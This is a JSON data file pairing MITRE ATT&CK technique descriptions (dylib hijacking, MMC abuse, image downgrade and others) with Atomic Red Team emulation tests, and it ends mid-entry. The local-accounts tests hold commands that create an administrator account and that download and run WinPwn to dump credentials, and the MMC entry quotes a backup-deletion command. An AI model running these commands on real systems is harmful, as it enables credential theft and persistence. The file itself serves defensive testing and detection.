"attack-pattern", - "created": "2020-10-19T17:58:04.155Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1556.004", - "url": "https://attack.mitre.org/techniques/T1556/004" - }, - { - "source_name": "Mandiant - Synful Knock", - "url": "https://www.mandiant.com/resources/synful-knock-acis", - "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020." - }, - { - "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification", - "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7", - "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020." - }, - { - "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification", - "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13", - "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020." - } - ], - "modified": "2021-12-14T23:14:26.107Z", - "name": "Network Device Authentication", - "description": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "credential-access" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nDetection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "2.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1574.004": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490", - "created": "2020-03-16T15:23:30.896Z", - "x_mitre_version": "2.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.004", - "url": "https://attack.mitre.org/techniques/T1574/004" - }, - { - "source_name": "MalwareUnicorn macOS Dylib Injection MachO", - "url": "https://malwareunicorn.org/workshops/macos_dylib_injection.html#5", - "description": "Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021." - }, - { - "source_name": "Apple Developer Doco Archive Run-Path", - "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html", - "description": "Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021." - }, - { - "source_name": "Wardle Dylib Hijacking OSX 2015", - "url": "https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf", - "description": "Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021." - }, - { - "source_name": "Writing Bad Malware for OSX", - "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", - "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017." - }, - { - "source_name": "Wardle Dylib Hijack Vulnerable Apps", - "url": "https://objective-see.com/blog/blog_0x46.html", - "description": "Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021." - }, - { - "source_name": "wardle artofmalware volume1", - "url": "https://taomm.org/vol1/pdfs.html", - "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021." - }, - { - "source_name": "Github EmpireProject HijackScanner", - "url": "https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py", - "description": "Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021." - }, - { - "source_name": "Github EmpireProject CreateHijacker Dylib", - "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py", - "description": "Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021." - }, - { - "url": "https://capec.mitre.org/data/definitions/471.html", - "source_name": "capec", - "external_id": "CAPEC-471" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)", - "modified": "2022-05-05T04:08:30.203Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Dylib Hijacking", - "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \n\nRun path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Module: Module Load", - "File: File Creation", - "File: File Modification" - ], - "x_mitre_defense_bypassed": [ - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1601.002": { - "technique": { - "x_mitre_platforms": [ - "Network" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d", - "type": "attack-pattern", - "created": "2020-10-19T19:53:10.576Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1601.002", - "url": "https://attack.mitre.org/techniques/T1601/002" - }, - { - "source_name": "Cisco Synful Knock Evolution", - "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", - "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020." - } - ], - "modified": "2020-10-22T17:49:02.660Z", - "name": "Downgrade System Image", - "description": "Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001). ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Many embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1078.003": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows", - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", - "type": "attack-pattern", - "created": "2020-03-13T20:26:46.695Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1078.003", - "url": "https://attack.mitre.org/techniques/T1078/003" - } - ], - "modified": "2021-10-18T17:45:48.323Z", - "name": "Valid Accounts: Local Accounts", - "description": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "initial-access" - } - ], - "x_mitre_detection": "Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "User Account: User Account Authentication", - "Logon Session: Logon Session Creation", - "Logon Session: Logon Session Metadata" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "identifier": "T1078.003" - }, - "atomic_tests": [ - { - "name": "Create local account with admin privileges", - "auto_generated_guid": "a524ce99-86de-4db6-b4f9-e08f35a47a15", - "description": "After execution the new account will be active and added to the Administrators group", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "password": { - "description": "Password for art-test user", - "type": "string", - "default": "-4RTisCool!-321" - } - }, - "executor": { - "command": "net user art-test /add\nnet user art-test #{password}\nnet localgroup administrators art-test /add", - "cleanup_command": "net localgroup administrators art-test /delete >nul 2>&1\nnet user art-test /delete >nul 2>&1", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "WinPwn - Loot local Credentials - powerhell kittie", - "auto_generated_guid": "9e9fd066-453d-442f-88c1-ad7911d32912", - "description": "Loot local Credentials - powerhell kittie technique via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nobfuskittiedump -consoleoutput -noninteractive", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "WinPwn - Loot local Credentials - Safetykatz", - "auto_generated_guid": "e9fdb899-a980-4ba4-934b-486ad22e22f4", - "description": "Loot local Credentials - Safetykatz technique via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsafedump -consoleoutput -noninteractive", - "name": "powershell", - "elevation_required": true - } - } - ] - }, - "T1211": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "John Lambert, Microsoft Threat Intelligence Center" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b", - "created": "2018-04-18T17:59:24.739Z", - "x_mitre_version": "1.3", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1211", - "url": "https://attack.mitre.org/techniques/T1211" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.", - "modified": "2022-04-28T16:10:16.632Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Exploitation for Defense Evasion", - "x_mitre_detection": "Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Process: Process Creation", - "Application Log: Application Log Content" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "System access controls" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1127": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Casey Smith", - "Matthew Demaske, Adaptforward" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b", - "created": "2017-05-31T21:31:39.262Z", - "x_mitre_version": "1.2", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1127", - "url": "https://attack.mitre.org/techniques/T1127" - }, - { - "source_name": "Exploit Monday WinDbg", - "url": "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html", - "description": "Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017." - }, - { - "source_name": "LOLBAS Tracker", - "url": "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/", - "description": "LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019." - }, - { - "source_name": "engima0x3 RCSI Bypass", - "url": "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/", - "description": "Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017." - }, - { - "source_name": "engima0x3 DNX Bypass", - "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/", - "description": "Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.", - "modified": "2022-05-05T05:00:37.443Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Trusted Developer Utilities Proxy Execution", - "x_mitre_detection": "Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.", - "kill_chain_phases": [ - { - "phase_name": "defense-evasion", - "kill_chain_name": "mitre-attack" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Process: Process Creation", - "Command: Command Execution" - ], - "x_mitre_defense_bypassed": [ - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1127" - }, - "atomic_tests": [ - { - "name": "Lolbin Jsc.exe compile javascript to exe", - "auto_generated_guid": "1ec1c269-d6bd-49e7-b71b-a461f7fa7bc8", - "description": "Use jsc.exe to compile javascript code stored in scriptfile.js and output scriptfile.exe.\nhttps://lolbas-project.github.io/lolbas/Binaries/Jsc/\nhttps://www.phpied.com/make-your-javascript-a-windows-exe/\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "filename": { - "description": "Location of the project file", - "type": "path", - "default": "PathToAtomicsFolder\\T1127\\src\\hello.js" - }, - "jscpath": { - "description": "Default location of jsc.exe", - "type": "path", - "default": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319" - }, - "jscname": { - "description": "Default name of jsc", - "type": "path", - "default": "jsc.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "JavaScript code file must exist on disk at specified location (#{filename})\n", - "prereq_command": "if (Test-Path #{filename}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127/src/hello.js\" -OutFile \"#{filename}\"\n" - } - ], - "executor": { - "command": "copy #{filename} %TEMP%\\hello.js\n#{jscpath}\\#{jscname} %TEMP%\\hello.js\n", - "cleanup_command": "del %TEMP%\\hello.js\ndel %TEMP%\\hello.exe\n", - "name": "command_prompt" - } - }, - { - "name": "Lolbin Jsc.exe compile javascript to dll", - "auto_generated_guid": "3fc9fea2-871d-414d-8ef6-02e85e322b80", - "description": "Use jsc.exe to compile javascript code stored in Library.js and output Library.dll.\nhttps://lolbas-project.github.io/lolbas/Binaries/Jsc/\nhttps://www.phpied.com/make-your-javascript-a-windows-exe/\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "filename": { - "description": "Location of the project file", - "type": "path", - "default": "PathToAtomicsFolder\\T1127\\src\\LibHello.js" - }, - "jscpath": { - "description": "Default location of jsc.exe", - "type": "path", - "default": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319" - }, - "jscname": { - "description": "Default name of jsc", - "type": "path", - "default": "jsc.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "JavaScript code file must exist on disk at specified location (#{filename})\n", - "prereq_command": "if (Test-Path #{filename}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127/src/LibHello.js\" -OutFile \"#{filename}\"\n" - } - ], - "executor": { - "command": "copy #{filename} %TEMP%\\LibHello.js\n#{jscpath}\\#{jscname} /t:library %TEMP%\\LibHello.js\n", - "cleanup_command": "del %TEMP%\\LibHello.js\ndel %TEMP%\\LibHello.dll\n", - "name": "command_prompt" - } - } - ] - }, - "T1218.014": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Wes Hurd" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407", - "created": "2021-09-28T01:36:41.638Z", - "x_mitre_version": "2.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1218.014", - "url": "https://attack.mitre.org/techniques/T1218/014" - }, - { - "source_name": "abusing_com_reg", - "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", - "description": "bohops. (2018, August 18). ABUSING THE COM REGISTRY STRUCTURE (PART 2): HIJACKING & LOADING TECHNIQUES. Retrieved September 20, 2021." - }, - { - "source_name": "mmc_vulns", - "url": "https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/", - "description": "Boxiner, A., Vaknin, E. (2019, June 11). Microsoft Management Console (MMC) Vulnerabilities. Retrieved September 24, 2021." - }, - { - "source_name": "win_msc_files_overview", - "url": "https://www.ghacks.net/2017/06/10/windows-msc-files-overview/", - "description": "Brinkmann, M.. (2017, June 10). Windows .msc files overview. Retrieved September 20, 2021." - }, - { - "source_name": "win_mmc", - "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc", - "description": "Microsoft. (2017, October 16). mmc. Retrieved September 20, 2021." - }, - { - "source_name": "win_wbadmin_delete_catalog", - "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog", - "description": "Microsoft. (2017, October 16). wbadmin delete catalog. Retrieved September 20, 2021." - }, - { - "source_name": "win_clsid_key", - "url": "https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm", - "description": "Microsoft. (2018, May 31). CLSID Key. Retrieved September 24, 2021." - }, - { - "source_name": "what_is_mmc", - "url": "https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console", - "description": "Microsoft. (2020, September 27). What is Microsoft Management Console?. Retrieved October 5, 2021." - }, - { - "source_name": "phobos_virustotal", - "url": "https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection", - "description": "Phobos Ransomware. (2020, December 30). Phobos Ransomware, Fast.exe. Retrieved September 20, 2021." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, mmc C:\\Users\\foo\\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the \u201cLink to Web Address\u201d snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\\path\\to\\test.msc.(Citation: abusing_com_reg)", - "modified": "2022-05-20T17:41:16.112Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "MMC", - "x_mitre_detection": "Monitor processes and command-line parameters for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious. \n\nMonitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as services.msc or eventvwr.msc. Invoking non-Microsoft .msc files may be an indicator of malicious activity. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Process: Process Creation", - "Command: Command Execution", - "File: File Creation" - ], - "x_mitre_defense_bypassed": [ - "Application control", - "Digital Certificate Validation" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1564.010": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1", - "type": "attack-pattern", - "created": "2021-11-19T14:13:11.335Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1564.010", - "url": "https://attack.mitre.org/techniques/T1564/010" - }, - { - "source_name": "Microsoft PEB 2021", - "url": "https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb", - "description": "Microsoft. (2021, October 6). PEB structure (winternl.h). Retrieved November 19, 2021." - }, - { - "source_name": "Xpn Argue Like Cobalt 2019", - "url": "https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/", - "description": "Chester, A. (2019, January 28). How to Argue like Cobalt Strike. Retrieved November 19, 2021." - }, - { - "source_name": "Cobalt Strike Arguments 2019", - "url": "https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/", - "description": "Mudge, R. (2019, January 2). https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/. Retrieved November 19, 2021." - }, - { - "source_name": "Nviso Spoof Command Line 2020", - "url": "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/", - "description": "Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021." - }, - { - "source_name": "FireEye FiveHands April 2021", - "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", - "description": "McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021." - }, - { - "source_name": "Mandiant Endpoint Evading 2019", - "url": "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode", - "description": "Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021." - } - ], - "modified": "2021-11-29T15:56:50.370Z", - "name": "Process Argument Spoofing", - "description": "Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve 